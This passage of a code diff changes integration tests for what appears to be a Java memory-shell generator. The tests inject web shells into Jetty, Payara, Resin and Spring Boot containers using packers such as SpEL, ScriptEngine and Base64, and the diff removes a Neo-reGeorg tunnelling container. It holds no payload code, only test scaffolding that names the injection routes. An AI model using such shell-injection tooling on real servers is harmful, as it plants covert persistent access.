             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +57,6 @@ public class Jetty61ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty76ContainerTest {
     public static final String imageName = "reajason/jetty:7.6-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +56,6 @@ public class Jetty76ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty81ContainerTest {
     public static final String imageName = "reajason/jetty:8.1-jdk7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +56,6 @@ public class Jetty81ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -35,18 +33,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class Jetty92ContainerTest {
 
     public static final String imageName = "jetty:9.2-jre7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +57,6 @@ public class Jetty92ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty93ContainerTest {
     public static final String imageName = "reajason/jetty:9.3";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +56,6 @@ public class Jetty93ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty94ContainerTest {
     public static final String imageName = "jetty:9.4-jre8";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +57,6 @@ public class Jetty94ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Payara5201ContainerTest {
     public static final String imageName = "reajason/payara:5.201";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class Payara5201ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Payara520225ContainerTest {
     public static final String imageName = "reajason/payara:5.2022.5";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class Payara520225ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Payara620222ContainerTest {
     public static final String imageName = "reajason/payara:6.2022.2-jdk11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class Payara620222ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java

@@ -13,9 +13,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -35,18 +33,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin3116ContainerTest {
     public static final String imageName = "reajason/resin:3.1.16";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -69,6 +60,6 @@ public class Resin3116ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin318ContainerTest {
     public static final String imageName = "reajason/resin:3.1.8-jdk7";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +56,6 @@ public class Resin318ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin4058ContainerTest {
     public static final String imageName = "reajason/resin:4.0.58";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +56,6 @@ public class Resin4058ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Resin4067ContainerTest {
     public static final String imageName = "reajason/resin:4.0.67-jdk11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(resinPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +57,6 @@ public class Resin4067ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot1ContainerTest.java

@@ -1,79 +0,0 @@
-package com.reajason.javaweb.integration.springmvc;
-
-import com.reajason.javaweb.integration.TestCasesProvider;
-import com.reajason.javaweb.memshell.Packers;
-import com.reajason.javaweb.memshell.Server;
-import com.reajason.javaweb.memshell.ShellTool;
-import com.reajason.javaweb.memshell.ShellType;
-import lombok.extern.slf4j.Slf4j;
-import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.AfterAll;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.Arguments;
-import org.junit.jupiter.params.provider.MethodSource;
-import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
-import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
-import org.testcontainers.junit.jupiter.Container;
-import org.testcontainers.junit.jupiter.Testcontainers;
-
-import java.util.List;
-import java.util.stream.Stream;
-
-import static com.reajason.javaweb.integration.ContainerTool.*;
-import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-@Testcontainers
-@Slf4j
-public class SpringBoot1ContainerTest {
-    public static final String imageName = "springboot1";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-    @Container
-    public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(springBoot1Dockerfile))
-            .withCopyToContainer(jattachFile, "/jattach")
-            .withCopyToContainer(springbootPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
-            .waitingFor(Wait.forHttp("/test"))
-            .withExposedPorts(8080);
-
-    static Stream<Arguments> casesProvider() {
-        Server server = Server.SpringWebMvc;
-        List<String> supportedShellTypes = List.of(ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET);
-        List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
-        return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
-    }
-
-    @AfterAll
-    static void tearDown() {
-        String logs = container.getLogs();
-        log.info(logs);
-        assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
-    }
-
-    @ParameterizedTest(name = "{0}|{1}{2}|{3}")
-    @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
-    }
-
-    public static String getUrl(GenericContainer<?> container) {
-        String host = container.getHost();
-        int port = container.getMappedPort(8080);
-        String url = "http://" + host + ":" + port;
-        log.info("container started, app url is : {}", url);
-        return url;
-    }
-}

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java

@@ -12,7 +12,6 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
 import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
@@ -35,19 +34,11 @@ import static org.hamcrest.MatcherAssert.assertThat;
 public class SpringBoot2ContainerTest {
     public static final String imageName = "springboot2";
 
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
-
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
             .withDockerfile(springBoot2Dockerfile))
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(springbootPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/test"))
             .withExposedPorts(8080);
 
@@ -67,7 +58,7 @@ public class SpringBoot2ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container);
     }
 
     public static String getUrl(GenericContainer<?> container) {

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java

@@ -12,16 +12,15 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
 import java.util.List;
 import java.util.stream.Stream;
 
-import static com.reajason.javaweb.integration.ContainerTool.*;
+import static com.reajason.javaweb.integration.ContainerTool.getUrl;
+import static com.reajason.javaweb.integration.ContainerTool.springBoot2WarFile;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
 import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -34,16 +33,10 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class SpringBoot2WarContainerTest {
     public static final String imageName = "tomcat:8-jre8";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(springBoot2WarFile, "/usr/local/tomcat/webapps/app.war")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -64,6 +57,6 @@ public class SpringBoot2WarContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java

@@ -12,7 +12,6 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
 import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
@@ -34,18 +33,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Slf4j
 public class SpringBoot3ContainerTest {
     public static final String imageName = "springboot3";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
+
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
             .withDockerfile(springBoot3Dockerfile))
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(springbootPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/test"))
             .withExposedPorts(8080);
 
@@ -65,7 +58,7 @@ public class SpringBoot3ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
